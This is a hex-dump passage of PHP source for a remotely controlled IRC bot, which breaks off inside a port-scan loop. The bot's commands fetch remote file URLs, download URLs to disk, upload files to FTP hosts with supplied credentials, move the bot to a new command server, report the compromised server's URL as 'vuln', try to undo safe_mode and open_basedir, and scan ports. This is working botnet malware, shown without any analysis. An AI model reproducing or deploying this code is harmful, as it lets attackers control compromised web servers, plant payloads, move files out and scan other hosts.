9664: 09092475726C69203D2070617273655F75726C28202466696C6555726C20293B          $urli = parse_url( $fileUrl );
9696: 0D0A090909090909090909090909090D0A090909090909090909090909096966          if
9728: 282021656D70747928202475726C695B27686F7374275D20292026262021656D          ( !empty( $urli['host'] ) && !em
9760: 70747928202475726C695B2770617468275D20292026262021656D7074792820          pty( $urli['path'] ) && !empty(
9792: 2475726C695B277175657279275D202920290D0A090909090909090909090909          $urli['query'] ) )
9824: 097B0D0A0909090909090909090909090909246670203D2066736F636B6F7065          { $fp = fsockope
9856: 6E28202475726C695B27686F7374275D2C2038302C20246572726E6F2C202465          n( $urli['host'], 8 , $errno, $e
9888: 72727374722C203520293B0D0A09090909090909090909090909090D0A090909          rrstr, 5 );
9920: 09090909090909090909096966282024667020290D0A09090909090909090909          if( $fp )
9952: 090909097B0D0A090909090909090909090909090909246F7574203D20224745          { $out = "GE
9984: 54202F222E2475726C695B2770617468275D2E2475726C695B27717565727927          T /".$urli['path'].$urli['query'
10016: 5D2E2220485454502F312E315C725C6E223B0D0A090909090909090909090909          ]." HTTP/1.1\r\n";
10048: 090909246F7574202E3D2022486F73743A20222E2475726C695B27686F737427          $out .= "Host: ".$urli['host'
10080: 5D2E225C725C6E223B0D0A090909090909090909090909090909246F7574202E          ]."\r\n"; $out .
10112: 3D20224B6565702D416C6976653A203330305C725C6E223B0D0A090909090909          = "Keep-Alive: 3  \r\n";
10144: 090909090909090909246F7574202E3D2022436F6E6E656374696F6E3A206B65          $out .= "Connection: ke
10176: 65702D616C6976655C725C6E5C725C6E223B0D0A090909090909090909090909          ep-alive\r\n\r\n";
10208: 09090966777269746528202466702C20246F757420293B0D0A09090909090909          fwrite( $fp, $out );
10240: 09090909090909090D0A090909090909090909090909090909246765745F6461          $get_da
10272: 7461203D2027273B0D0A0909090909090909090909090909090D0A0909090909          ta = '';
10304: 090909090909090909097768696C65282166656F662824667029290D0A090909          while(!feof($fp))
10336: 0909090909090909090909097B20246765745F64617461202E3D206667657473          { $get_data .= fgets
10368: 28202466702C2032353620293B207D0D0A090909090909090909090909090909          ( $fp, 256 ); }
10400: 0D0A09090909090909090909090909090924746869732D3E707269766D736728          $this->privmsg(
10432: 2024746869732D3E6765745F6368616E2820292C20275B206578656372666920          $this->get_chan( ), '[ execrfi
10464: 5D2045786563757465642066696C6520272E2466696C6555726C20293B0D0A09          ] Executed file '.$fileUrl );
10496: 0909090909090909090909090909627265616B3B0D0A09090909090909090909          break;
10528: 090909097D0D0A090909090909090909090909097D0D0A090909090909090909          } }
10560: 0909097D0D0A0909090909090909090909090D0A090909090909090909090909          }
10592: 24746869732D3E707269766D7367282024746869732D3E6765745F6368616E28          $this->privmsg( $this->get_chan(
10624: 20292C20275B2065786563726669205D204661696C7572652065786563757469          ), '[ execrfi ] Failure executi
10656: 6E6720272E2466696C6555726C20293B0D0A0909090909090909090909096272          ng '.$fileUrl ); br
10688: 65616B3B0D0A09090909090909090909097D0D0A090909090909090909090963          eak; } c
10720: 6173652022626173653634223A0D0A09090909090909090909097B0D0A090909          ase "base64": {
10752: 090909090909090909247374725F6564203D2073756273747228207374727374          $str_ed = substr( strst
10784: 722820246D73672C20246D636D645B315D20292C207374726C656E2820246D63          r( $msg, $mcmd[1] ), strlen( $mc
10816: 6D645B315D2029202B203120293B0D0A09090909090909090909090973776974          md[1] ) + 1 ); swit
10848: 63682820246D636D645B315D20290D0A0909090909090909090909097B0D0A09          ch( $mcmd[1] ) {
10880: 090909090909090909090909636173652022656E636F6465223A0D0A09090909          case "encode":
10912: 0909090909090909097B0D0A090909090909090909090909090924746869732D          { $this-
10944: 3E707269766D7367282024746869732D3E6765745F6368616E2820292C20225B          >privmsg( $this->get_chan( ), "[
10976: 20626173653634205D20656E636F6465205B2027222E247374725F65642E2227          base64 ] encode [ '".$str_ed."'
11008: 202D3E2027222E6261736536345F656E636F646528247374725F6564292E2227          -> '".base64_encode($str_ed)."'
11040: 205D2220293B0D0A0909090909090909090909090909627265616B3B0D0A0909          ]" ); break;
11072: 09090909090909090909097D0D0A090909090909090909090909096361736520          } case
11104: 226465636F6465223A0D0A090909090909090909090909097B0D0A0909090909          "decode": {
11136: 09090909090909090924746869732D3E707269766D7367282024746869732D3E          $this->privmsg( $this->
11168: 6765745F6368616E2820292C20225B20626173653634205D206465636F646520          get_chan( ), "[ base64 ] decode
11200: 5B2027222E247374725F65642E2227202D3E2027222E6261736536345F646563          [ '".$str_ed."' -> '".base64_dec
11232: 6F646528247374725F6564292E2227205D2220293B0D0A090909090909090909          ode($str_ed)."' ]" );
11264: 0909090909627265616B3B0D0A090909090909090909090909097D0D0A090909          break; }
11296: 0909090909090909097D0D0A090909090909090909090909627265616B3B0D0A          } break;
11328: 09090909090909090909097D0D0A09090909090909090909096361736520226D          } case "m
11360: 6435223A0D0A09090909090909090909097B0D0A090909090909090909090909          d5": {
11392: 247374725F6D6435203D2073756273747228207374727374722820246D73672C          $str_md5 = substr( strstr( $msg,
11424: 20246D636D645B305D20292C207374726C656E2820246D636D645B305D202920          $mcmd[ ] ), strlen( $mcmd[ ] )
11456: 2B203120293B0D0A09090909090909090909090924746869732D3E707269766D          + 1 ); $this->privm
11488: 7367282024746869732D3E6765745F6368616E2820292C20225B206D6435205D          sg( $this->get_chan( ), "[ md5 ]
11520: 205B2027222E247374725F6D64352E2227202D3E2027222E6D64352824737472          [ '".$str_md5."' -> '".md5($str
11552: 5F6D6435292E2227205D2220293B0D0A09090909090909090909090962726561          _md5)."' ]" ); brea
11584: 6B3B0D0A09090909090909090909097D0D0A0909090909090909090909636173          k; } cas
11616: 652022646E73223A0D0A09090909090909090909097B0D0A0909090909090909          e "dns": {
11648: 09090909696628697373657428246D636D645B315D2929200D0A202020202020          if(isset($mcmd[1]))
11680: 2020202020202020202020202020202020202020202020202009090909097B0D          {
11712: 0A20202020202020202020202020202020202020202020202020202020202020         
11744: 2020200909090909246970203D206578706C6F646528222E222C246D636D645B          $ip = explode(".",$mcmd[
11776: 315D293B200D0A20202020202020202020202020202020202020202020202020          1]);
11808: 2020202020202020200909090909696628636F756E7428246970293D3D342026          if(count($ip)==4 &
11840: 262069735F6E756D65726963282469705B305D292026262069735F6E756D6572          & is_numeric($ip[ ]) && is_numer
11872: 6963282469705B315D29200D0A09090909090909090909090909092626206973          ic($ip[1]) && is
11904: 5F6E756D65726963282469705B325D292026262069735F6E756D657269632824          _numeric($ip[2]) && is_numeric($
11936: 69705B335D2929200D0A20202020202020202020202020202020202020202020          ip[3]))
11968: 20202020202020202020202009090909097B0D0A202020202020202020202020          {
12000: 2020202020202020202020202020202020202020202020202009090909092474          $t
12032: 6869732D3E707269766D73672824746869732D3E6765745F6368616E2820292C          his->privmsg($this->get_chan( ),
12064: 225B20646E73205D3A20222E246D636D645B315D2E22203D3E20222E67657468          "[ dns ]: ".$mcmd[1]." => ".geth
12096: 6F737462796164647228246D636D645B315D29293B200D0A2020202020202020          ostbyaddr($mcmd[1]));
12128: 202020202020202020202020202020202020202020202020202009090909097D          }
12160: 0D0A202020202020202020202020202020202020202020202020202020202020         
12192: 202020200909090909656C7365200D0A20202020202020202020202020202020          else
12224: 20202020202020202020202020202020202009090909097B0D0A202020202020          {
12256: 2020202020202020202020202020202020202020202020202020202020202009         
12288: 0909090924746869732D3E707269766D73672824746869732D3E6765745F6368          $this->privmsg($this->get_ch
12320: 616E2820292C225B20646E73205D3A20222E246D636D645B315D2E22203D3E20          an( ),"[ dns ]: ".$mcmd[1]." =>
12352: 222E676574686F737462796E616D6528246D636D645B315D29293B200D0A2020          ".gethostbyname($mcmd[1]));
12384: 2020202020202020202020202020202020202020202020202020202020202020         
12416: 09090909097D0D0A202020202020202020202020202020202020202020202020          }
12448: 2020202020202009090909097D0D0A090909090909090909090909627265616B          } break
12480: 3B0D0A09090909090909090909097D0D0A090909090909090909090963617365          ; } case
12512: 202265786974223A0D0A09090909090909090909097B0D0A0909090909090909          "exit": {
12544: 0909090966636C6F7365282024746869732D3E636F6E6E20293B0D0A09090909          fclose( $this->conn );
12576: 0909090909090909657869742820293B0D0A0909090909090909090909096272          exit( ); br
12608: 65616B3B0D0A09090909090909090909097D0D0A090909090909090909090963          eak; } c
12640: 617365202272657374617274223A0D0A09090909090909090909097B0D0A0909          ase "restart": {
12672: 0909090909090909090924746869732D3E707269766D7367282024746869732D          $this->privmsg( $this-
12704: 3E6765745F6368616E2820292C20225B2072657374617274205D206578656375          >get_chan( ), "[ restart ] execu
12736: 746564206279205B222E246E69636B2E225D2220293B0D0A0909090909090909          ted by [".$nick."]" );
12768: 0909090924746869732D3E73656E6428202251554954203A7265737461727420          $this->send( "QUIT :restart
12800: 636F6D6D616E642066726F6D20222E246E69636B20293B0D0A09090909090909          command from ".$nick );
12832: 090909090966636C6F7365282024746869732D3E636F6E6E20293B0D0A090909          fclose( $this->conn );
12864: 09090909090909090924746869732D3E737461727428293B0D0A090909090909          $this->start();
12896: 090909090909627265616B3B0D0A09090909090909090909097D0D0A09090909          break; }
12928: 090909090909096361736520226273223A0D0A09090909090909090909097B0D          case "bs": {
12960: 0A0909090909090909090909096966282024746869732D3E69735F7361666528          if( $this->is_safe(
12992: 202920290D0A0909090909090909090909097B0D0A0909090909090909090909          ) ) {
13024: 0909696E695F726573746F7265282022736166655F6D6F64652220293B0D0A09          ini_restore( "safe_mode" );
13056: 090909090909090909090909696E695F726573746F72652820226F70656E5F62          ini_restore( "open_b
13088: 6173656469722220293B0D0A0909090909090909090909097D0D0A0909090909          asedir" ); }
13120: 090909090909090D0A09090909090909090909090924736166656D6F6465203D          $safemode =
13152: 20226F6E223B0D0A090909090909090909090909696628202124746869732D3E          "on"; if( !$this->
13184: 69735F7361666528202920290D0A0909090909090909090909097B0D0A090909          is_safe( ) ) {
13216: 0909090909090909090924736166656D6F6465203D20226F6666223B0D0A0909          $safemode = "off";
13248: 090909090909090909090924746869732D3E7365745F6E69636B28293B0D0A09          $this->set_nick();
13280: 09090909090909090909097D0D0A09090909090909090909090924746869732D          } $this-
13312: 3E707269766D7367282024746869732D3E6765745F6368616E2820292C20275B          >privmsg( $this->get_chan( ), '[
13344: 2073616665205D20272E24736166656D6F646520293B0D0A0909090909090909          safe ] '.$safemode );
13376: 0909097D0D0A09090909090909090909096361736520226D6F76657365727665          } case "moveserve
13408: 72223A0D0A09090909090909090909097B0D0A09090909090909090909090969          r": { i
13440: 662820636F756E742820246D636D642029203E203320290D0A09090909090909          f( count( $mcmd ) > 3 )
13472: 09090909097B0D0A0909090909090909090909090924736572766572203D2024          { $server = $
13504: 6D636D645B315D3B0D0A0909090909090909090909090924706F7274203D2024          mcmd[1]; $port = $
13536: 6D636D645B325D3B0D0A09090909090909090909090909246368616E6E656C20          mcmd[2]; $channel
13568: 3D20246D636D645B335D3B0D0A09090909090909090909090909246B6579203D          = $mcmd[3]; $key =
13600: 20246D636D645B345D3B0D0A090909090909090909090909090D0A0909090909          $mcmd[4];
13632: 09090909090909096966282024746869732D3E7573696E675F656E636F646520          if( $this->using_encode
13664: 290D0A090909090909090909090909097B0D0A09090909090909090909090909          ) {
13696: 0924746869732D3E636F6E6669675B202773657276657227205D203D20626173          $this->config[ 'server' ] = bas
13728: 6536345F656E636F646528202473657276657220293B0D0A0909090909090909          e64_encode( $server );
13760: 09090909090924746869732D3E636F6E6669675B20276368616E27205D203D20          $this->config[ 'chan' ] =
13792: 6261736536345F656E636F646528207374725F7265706C61636528202223222C          base64_encode( str_replace( "#",
13824: 2022222C20246368616E6E656C202920293B0D0A090909090909090909090909          "", $channel ) );
13856: 090924746869732D3E636F6E6669675B20276B657927205D203D206261736536          $this->config[ 'key' ] = base6
13888: 345F656E636F64652820246B657920293B0D0A09090909090909090909090909          4_encode( $key );
13920: 7D0D0A09090909090909090909090909656C73650D0A09090909090909090909          } else
13952: 0909097B0D0A090909090909090909090909090924746869732D3E636F6E6669          { $this->confi
13984: 675B202773657276657227205D203D20247365727665723B0D0A090909090909          g[ 'server' ] = $server;
14016: 090909090909090924746869732D3E636F6E6669675B20276368616E27205D20          $this->config[ 'chan' ]
14048: 3D207374725F7265706C61636528202223222C2022222C20246368616E6E656C          = str_replace( "#", "", $channel
14080: 20293B0D0A090909090909090909090909090924746869732D3E636F6E666967          ); $this->config
14112: 5B20276B657927205D203D20246B65793B0D0A09090909090909090909090909          [ 'key' ] = $key;
14144: 7D0D0A090909090909090909090909090D0A0909090909090909090909090924          } $
14176: 746869732D3E636F6E6669675B2027706F727427205D203D2024706F72743B0D          this->config[ 'port' ] = $port;
14208: 0A0909090909090909090909090924746869732D3E707269766D736728202474          $this->privmsg( $t
14240: 6869732D3E6765745F6368616E2820292C20225B206D6F766573657276657220          his->get_chan( ), "[ moveserver
14272: 5D20222E247365727665722E22203D3E20222E24706F72742E22203D3E20222E          ] ".$server." => ".$port." => ".
14304: 246368616E6E656C2E22203D3E20222E246B657920293B0D0A09090909090909          $channel." => ".$key );
14336: 09090909090924746869732D3E73656E6428202251554954203A6D6F76657365          $this->send( "QUIT :movese
14368: 7276657220636F6D6D616E642066726F6D20222E246E69636B20293B0D0A0909          rver command from ".$nick );
14400: 09090909090909090909090D0A0909090909090909090909090966636C6F7365          fclose
14432: 282024746869732D3E636F6E6E20293B0D0A0909090909090909090909090924          ( $this->conn ); $
14464: 746869732D3E737461727428293B0D0A0909090909090909090909097D0D0A09          this->start(); }
14496: 0909090909090909090909627265616B3B0D0A09090909090909090909097D0D          break; }
14528: 0A090909090909090909090963617365202277686F6973223A0D0A0909090909          case "whois":
14560: 0909090909097B0D0A09090909090909090909090924706172616D32203D2024          { $param2 = $
14592: 6D636D645B315D3B0D0A0909090909090909090909090D0A0909090909090909          mcmd[1];
14624: 090909096966282021656D707479282024706172616D32202920290D0A090909          if( !empty( $param2 ) )
14656: 0909090909090909097B0D0A090909090909090909090909092F2F646F206974          { //do it
14688: 0D0A090909090909090909090909092F2F687474703A2F2F77732E6172696E2E          //http://ws.arin.
14720: 6E65742F77686F69732F3F7175657279696E7075743D3132372E302E302E310D          net/whois/?queryinput=127. . .1
14752: 0A09090909090909090909090909246670203D2066736F636B6F70656E282022          $fp = fsockopen( "
14784: 77732E6172696E2E6E6574222C2038302C20246572726E6F2C20246572727374          ws.arin.net", 8 , $errno, $errst
14816: 722C20333020293B0D0A090909090909090909090909090D0A09090909090909          r, 3  );
14848: 0909090909096966282024667020290D0A090909090909090909090909097B0D          if( $fp ) {
14880: 0A0909090909090909090909090909246F7574203D2022474554202F77686F69          $out = "GET /whoi
14912: 732F3F7175657279696E7075743D24706172616D3220485454502F312E315C72          s/?queryinput=$param2 HTTP/1.1\r
14944: 5C6E223B0D0A0909090909090909090909090909246F7574202E3D2022486F73          \n"; $out .= "Hos
14976: 743A2077732E6172696E2E6E65745C725C6E223B0D0A09090909090909090909          t: ws.arin.net\r\n";
15008: 09090909246F7574202E3D20224B6565702D416C6976653A203330305C725C6E          $out .= "Keep-Alive: 3  \r\n
15040: 223B0D0A0909090909090909090909090909246F7574202E3D2022436F6E6E65          "; $out .= "Conne
15072: 6374696F6E3A206B6565702D616C6976655C725C6E5C725C6E223B0D0A090909          ction: keep-alive\r\n\r\n";
15104: 090909090909090909090966777269746528202466702C20246F757420293B0D          fwrite( $fp, $out );
15136: 0A090D0A09090909090909090909090909092477686F64617461203D2027273B          $whodata = '';
15168: 0D0A09090909090909090909090909097768696C65282166656F662824667029          while(!feof($fp)
15200: 290D0A09090909090909090909090909097B0D0A090909090909090909090909          ) {
15232: 0909092F2A646F206E6F7468696E672A2F0D0A09090909090909090909090909          /*do nothing*/
15264: 09092477686F64617461202E3D20667265616428202466702C20313032342029          $whodata .= fread( $fp, 1 24 )
15296: 3B0D0A09090909090909090909090909097D0D0A090909090909090909090909          ; }
15328: 09090D0A0909090909090909090909090909246578706C6B203D206578706C6F          $explk = explo
15360: 64652820223C6469762069643D5C22636F6E74656E745C223E222C202477686F          de( "<div id=\"content\">", $who
15392: 6461746120293B0D0A0909090909090909090909090909246578706C6B203D20          data ); $explk =
15424: 6578706C6F64652820223C2F6469763E222C20246578706C6B5B315D20293B0D          explode( "</div>", $explk[1] );
15456: 0A09090909090909090909090909092468746D6C646174203D2073747269705F          $htmldat = strip_
15488: 746167732820246578706C6B5B305D20293B0D0A0D0A09090909090909090909          tags( $explk[ ] );
15520: 0909090966636C6F7365282024667020293B0D0A090909090909090909090909          fclose( $fp );
15552: 09090D0A090909090909090909090909090924746869732D3E707269766D7367          $this->privmsg
15584: 282024746869732D3E6765745F6368616E2820292C20225B2077686F6973205D          ( $this->get_chan( ), "[ whois ]
15616: 202468746D6C6461742220293B0D0A0D0A090909090909090909090909097D65          $htmldat" ); }e
15648: 6C73657B0D0A090909090909090909090909090924746869732D3E707269766D          lse{ $this->privm
15680: 7367282024746869732D3E6765745F6368616E2820292C20225B2077686F6973          sg( $this->get_chan( ), "[ whois
15712: 205D204572726F723A20246572727374722220293B0D0A090909090909090909          ] Error: $errstr" );
15744: 090909097D0D0A0909090909090909090909097D0D0A09090909090909090909          } }
15776: 0909656C73650D0A0909090909090909090909097B0D0A090909090909090909          else {
15808: 0909090924746869732D3E707269766D7367282024746869732D3E6765745F63          $this->privmsg( $this->get_c
15840: 68616E2820292C20225B2077686F6973205D20496E76616C696420706172616D          han( ), "[ whois ] Invalid param
15872: 732C20757365202E77686F6973203C69702F686F73743E2220293B0D0A090909          s, use .whois <ip/host>" );
15904: 0909090909090909097D0D0A090909090909090909090909627265616B3B0D0A          } break;
15936: 09090909090909090909097D0D0A090909090909090909090963617365202275          } case "u
15968: 70667470223A0D0A09090909090909090909097B0D0A09090909090909090909          pftp": {
16000: 09092F2F6674703A2F2F757365723A70617373776F726440686F73742E636F6D          //ftp://user:password@host.com
16032: 0D0A0909090909090909090909092470667470203D2070617273655F75726C28          $pftp = parse_url(
16064: 20246D636D645B315D20293B0D0A0909090909090909090909092466696C6520          $mcmd[1] ); $file
16096: 3D20246D636D645B325D3B0D0A0909090909090909090909092464657374203D          = $mcmd[2]; $dest =
16128: 20246D636D645B335D3B0D0A0909090909090909090909090D0A090909090909          $mcmd[3];
16160: 09090909090969662820656D707479282024706674705B2027686F737427205D          if( empty( $pftp[ 'host' ]
16192: 20290D0A090909090909090909090909097C7C20656D70747928202470667470          ) || empty( $pftp
16224: 5B20277573657227205D20290D0A090909090909090909090909097C7C20656D          [ 'user' ] ) || em
16256: 707479282024706674705B20277061737327205D20290D0A0909090909090909          pty( $pftp[ 'pass' ] )
16288: 09090909097C7C20656D70747928202466696C6520290D0A0909090909090909          || empty( $file )
16320: 09090909097C7C20656D70747928202464657374202920290D0A090909090909          || empty( $dest ) )
16352: 0909090909097B0D0A0909090909090909090909090924746869732D3E707269          { $this->pri
16384: 766D7367282024746869732D3E6765745F6368616E2820292C20225B20757066          vmsg( $this->get_chan( ), "[ upf
16416: 7470205D2055524C206C696E6520696E76616C6964212220293B0D0A09090909          tp ] URL line invalid!" );
16448: 09090909090909097D0D0A090909090909090909090909656C73650D0A090909          } else
16480: 0909090909090909097B0D0A0909090909090909090909090924636F6E6E5F69          { $conn_i
16512: 64203D206674705F636F6E6E656374282024706674705B2027686F737427205D          d = ftp_connect( $pftp[ 'host' ]
16544: 20293B0D0A09090909090909090909090909246C6F67696E5F726573756C7420          ); $login_result
16576: 3D206674705F6C6F67696E282024636F6E6E5F69642C2024706674705B202775          = ftp_login( $conn_id, $pftp[ 'u
16608: 73657227205D2C2024706674705B20277061737327205D20293B0D0A09090909          ser' ], $pftp[ 'pass' ] );
16640: 0909090909090909090D0A090909090909090909090909096966282028202124          if( ( !$
16672: 636F6E6E5F69642029207C7C20282021246C6F67696E5F726573756C74202920          conn_id ) || ( !$login_result )
16704: 29200D0A090909090909090909090909097B0D0A090909090909090909090909          ) {
16736: 090924746869732D3E707269766D7367282024746869732D3E6765745F636861          $this->privmsg( $this->get_cha
16768: 6E2820292C20225B207570667470205D2046545020636F6E6E656374696F6E20          n( ), "[ upftp ] FTP connection
16800: 6661696C6564212220293B0D0A090909090909090909090909097D0D0A090909          failed!" ); }
16832: 09090909090909090909656C73650D0A090909090909090909090909097B0D0A          else {
16864: 090909090909090909090909090924746869732D3E707269766D736728202474          $this->privmsg( $t
16896: 6869732D3E6765745F6368616E2820292C20225B207570667470205D20436F6E          his->get_chan( ), "[ upftp ] Con
16928: 6E656374656420746F20222E24706674705B2027686F737427205D2E2220666F          nected to ".$pftp[ 'host' ]." fo
16960: 72207573657220222E24706674705B20277573657227205D20293B0D0A090909          r user ".$pftp[ 'user' ] );
16992: 09090909090909090909092475706C6F6164203D206674705F70757428202463          $upload = ftp_put( $c
17024: 6F6E6E5F69642C2024646573742C202466696C652C204654505F42494E415259          onn_id, $dest, $file, FTP_BINARY
17056: 20293B0D0A090909090909090909090909090969662820212475706C6F616420          ); if( !$upload
17088: 290D0A09090909090909090909090909097B0D0A090909090909090909090909          ) {
17120: 09090924746869732D3E707269766D7367282024746869732D3E6765745F6368          $this->privmsg( $this->get_ch
17152: 616E2820292C20225B207570667470205D204654502075706C6F61642066616C          an( ), "[ upftp ] FTP upload fal
17184: 6564212220293B0D0A09090909090909090909090909097D0D0A090909090909          ed!" ); }
17216: 0909090909090909656C73650D0A09090909090909090909090909097B0D0A09          else {
17248: 090909090909090909090909090924746869732D3E707269766D736728202474          $this->privmsg( $t
17280: 6869732D3E6765745F6368616E2820292C20225B207570667470205D20465450          his->get_chan( ), "[ upftp ] FTP
17312: 2075706C6F61642073756363657373212220293B0D0A09090909090909090909          upload success!" );
17344: 090909090924746869732D3E707269766D7367282024746869732D3E6765745F          $this->privmsg( $this->get_
17376: 6368616E2820292C20225B207570667470205D2055706C6F616465642027222E          chan( ), "[ upftp ] Uploaded '".
17408: 2466696C652E222720746F2027222E24646573742E22272220293B0D0A090909          $file."' to '".$dest."'" );
17440: 09090909090909090909097D0D0A090909090909090909090909097D0D0A0909          } }
17472: 090909090909090909097D0D0A090909090909090909090909627265616B3B0D          } break;
17504: 0A09090909090909090909097D0D0A0909090909090909090909636173652022          } case "
17536: 6A6F696E6368616E223A0D0A09090909090909090909097B0D0A090909090909          joinchan": {
17568: 090909090909246368616E6E656C203D20246D636D645B315D3B0D0A09090909          $channel = $mcmd[1];
17600: 0909090909090909246B6579203D20246D636D645B325D3B0D0A090909090909          $key = $mcmd[2];
17632: 09090909090924746869732D3E707269766D7367282024746869732D3E676574          $this->privmsg( $this->get
17664: 5F6368616E2820292C20225B206A6F696E6368616E205D20222E246368616E6E          _chan( ), "[ joinchan ] ".$chann
17696: 656C2E22203D3E20222E246B657920293B0D0A09090909090909090909090924          el." => ".$key ); $
17728: 746869732D3E6A6F696E2820246368616E6E656C2C20246B657920293B0D0A09          this->join( $channel, $key );
17760: 0909090909090909090909627265616B3B0D0A09090909090909090909097D0D          break; }
17792: 0A0909090909090909090909636173652022706172746368616E223A0D0A0909          case "partchan":
17824: 0909090909090909097B0D0A09090909090909090909090924746869732D3E70          { $this->p
17856: 7269766D7367282024746869732D3E6765745F6368616E2820292C20225B2070          rivmsg( $this->get_chan( ), "[ p
17888: 6172746368616E205D20222E246D636D645B315D20293B0D0A09090909090909          artchan ] ".$mcmd[1] );
17920: 090909090924746869732D3E73656E642820225041525420222E246D636D645B          $this->send( "PART ".$mcmd[
17952: 315D20293B0D0A09090909090909090909097D0D0A0909090909090909090909          1] ); }
17984: 63617365202276756C6E223A0D0A09090909090909090909097B0D0A09090909          case "vuln": {
18016: 0909090909090909247365727665725F6E616D65203D20245F5345525645525B          $server_name = $_SERVER[
18048: 275345525645525F4E414D45275D3B0D0A090909090909090909090909247265          'SERVER_NAME']; $re
18080: 715F757269203D20245F5345525645525B27524551554553545F555249275D3B          q_uri = $_SERVER['REQUEST_URI'];
18112: 0D0A0909090909090909090909090D0A09090909090909090909090969662820          if(
18144: 247365727665725F6E616D6520213D20226C6F63616C686F7374222026262024          $server_name != "localhost" && $
18176: 7365727665725F6E616D6520213D20223132372E302E302E312220290D0A0909          server_name != "127. . .1" )
18208: 090909090909090909097B0D0A09090909090909090909090909696628207374          { if( st
18240: 726C656E2820247365727665725F6E616D652029202626207374726C656E2820          rlen( $server_name ) && strlen(
18272: 247265715F757269202920290D0A090909090909090909090909097B0D0A0909          $req_uri ) ) {
18304: 0909090909090909090909092476756C6E203D2022687474703A2F2F222E2473          $vuln = "http://".$s
18336: 65727665725F6E616D652E247265715F7572693B0D0A09090909090909090909          erver_name.$req_uri;
18368: 0909090924746869732D3E707269766D7367282024746869732D3E6765745F63          $this->privmsg( $this->get_c
18400: 68616E2820292C20225B2067657476756C6E205D20222E2476756C6E20293B0D          han( ), "[ getvuln ] ".$vuln );
18432: 0A090909090909090909090909097D0D0A0909090909090909090909097D0D0A          } }
18464: 090909090909090909090909627265616B3B0D0A09090909090909090909097D          break; }
18496: 0D0A0909090909090909090909636173652022646F776E6C6F6164223A0D0A09          case "download":
18528: 090909090909090909097B0D0A09090909090909090909090969662820636F75          { if( cou
18560: 6E742820246D636D642029203E203220290D0A0909090909090909090909097B          nt( $mcmd ) > 2 ) {
18592: 0D0A090909090909090909090909096966282021246670203D20666F70656E28          if( !$fp = fopen(
18624: 20246D636D645B2032205D2C20227722202920290D0A09090909090909090909          $mcmd[ 2 ], "w" ) )
18656: 0909097B0D0A090909090909090909090909090924746869732D3E707269766D          { $this->privm
18688: 7367282024746869732D3E6765745F6368616E2820292C20225B20646F776E6C          sg( $this->get_chan( ), "[ downl
18720: 6F6164205D205065726D697373696F6E2064656E696564212220293B0D0A0909          oad ] Permission denied!" );
18752: 09090909090909090909097D0D0A09090909090909090909090909656C73650D          } else
18784: 0A090909090909090909090909097B0D0A090909090909090909090909090969          { i
18816: 6628202124676574203D2066696C652820246D636D645B2031205D202920290D          f( !$get = file( $mcmd[ 1 ] ) )
18848: 0A09090909090909090909090909097B0D0A0909090909090909090909090909          {
18880: 0924746869732D3E707269766D7367282024746869732D3E6765745F6368616E          $this->privmsg( $this->get_chan
18912: 2820292C20225B20646F776E6C6F6164205D20446F776E6C6F6164206661696C          ( ), "[ download ] Download fail
18944: 6564212220293B0D0A09090909090909090909090909097D0D0A090909090909          ed!" ); }
18976: 0909090909090909656C73650D0A09090909090909090909090909097B0D0A09          else {
19008: 0909090909090909090909090909666F72282024693D303B202469203C3D2063          for( $i= ; $i <= c
19040: 6F756E7428202467657420293B2024692B2B2029200D0A090909090909090909          ount( $get ); $i++ )
19072: 0909090909097B200D0A09090909090909090909090909090909667772697465          { fwrite
19104: 28202466702C20246765745B202469205D20293B200D0A090909090909090909          ( $fp, $get[ $i ] );
19136: 0909090909097D0D0A09090909090909090909090909090924746869732D3E70          } $this->p
19168: 7269766D7367282024746869732D3E6765745F6368616E2820292C225B20646F          rivmsg( $this->get_chan( ),"[ do
19200: 776E6C6F6164205D2055524C205B222E246D636D645B2031205D2E225D20746F          wnload ] URL [".$mcmd[ 1 ]."] to
19232: 205B222E246D636D645B2032205D2E225D22293B0D0A09090909090909090909          [".$mcmd[ 2 ]."]");
19264: 090909097D0D0A0D0A090909090909090909090909090966636C6F7365282024          } fclose( $
19296: 667020293B0D0A090909090909090909090909097D0D0A090909090909090909          fp ); }
19328: 0909097D0D0A090909090909090909090909656C73650D0A0909090909090909          } else
19360: 090909097B0D0A0909090909090909090909090924746869732D3E707269766D          { $this->privm
19392: 7367282024746869732D3E6765745F6368616E2820292C20225B20646F776E6C          sg( $this->get_chan( ), "[ downl
19424: 6F6164205D20496E76616C696420506172616D65746572732C206964696F7421          oad ] Invalid Parameters, idiot!
19456: 2220293B0D0A0909090909090909090909097D0D0A0909090909090909090909          " ); }
19488: 09627265616B3B0D0A09090909090909090909097D0D0A090909090909090909          break; }
19520: 0909636173652022706D7367223A0D0A09090909090909090909097B0D0A0909          case "pmsg": {
19552: 0909090909090909090924706572736F6E203D20246D636D645B315D3B0D0A09          $person = $mcmd[1];
19584: 09090909090909090909092474657874203D2073756273747228207374727374          $text = substr( strst
19616: 722820246D73672C20246D636D645B315D20292C207374726C656E2820246D63          r( $msg, $mcmd[1] ), strlen( $mc
19648: 6D645B315D2029202B203120293B0D0A09090909090909090909090924746869          md[1] ) + 1 ); $thi
19680: 732D3E707269766D7367282024746869732D3E6765745F6368616E2820292C20          s->privmsg( $this->get_chan( ),
19712: 225B20706D7367205D20222E24706572736F6E2E22203D3E20222E2474657874          "[ pmsg ] ".$person." => ".$text
19744: 20293B0D0A09090909090909090909090924746869732D3E707269766D736728          ); $this->privmsg(
19776: 2024706572736F6E2C20247465787420293B0D0A090909090909090909090909          $person, $text );
19808: 627265616B3B0D0A09090909090909090909097D0D0A09090909090909090909          break; }
19840: 09636173652022707363616E223A0D0A09090909090909090909097B0D0A0909          case "pscan": {
19872: 0909090909090909090924686F7374203D20246D636D645B315D3B0D0A090909          $host = $mcmd[1];
19904: 09090909090909090924626567696E706F7274203D20246D636D645B325D3B0D          $beginport = $mcmd[2];
19936: 0A09090909090909090909090924656E64706F7274203D20246D636D645B335D          $endport = $mcmd[3]
19968: 3B0D0A090909090909090909090909246F70656E5F706F727473203D20224F70          ; $open_ports = "Op
20000: 656E20506F7274204C69737420666F7220222E24686F73742E223A20223B0D0A          en Port List for ".$host.": ";
20032: 0909090909090909090909090D0A090909090909090909090909666F72282469          for($i
20064: 203D2024626567696E706F72743B202469203C2024656E64706F72743B202469          = $beginport; $i < $endport; $i
20096: 2B2B290D0A0909090909090909090909097B0D0A090909090909090909090909          ++) {
20128: 096966282024746869732D3E7363616E706F7274282024686F73742C20246920          if( $this->scanport( $host, $i
20160: 2920290D0A090909090909090909090909097B0D0A0909090909090909090909          ) ) {
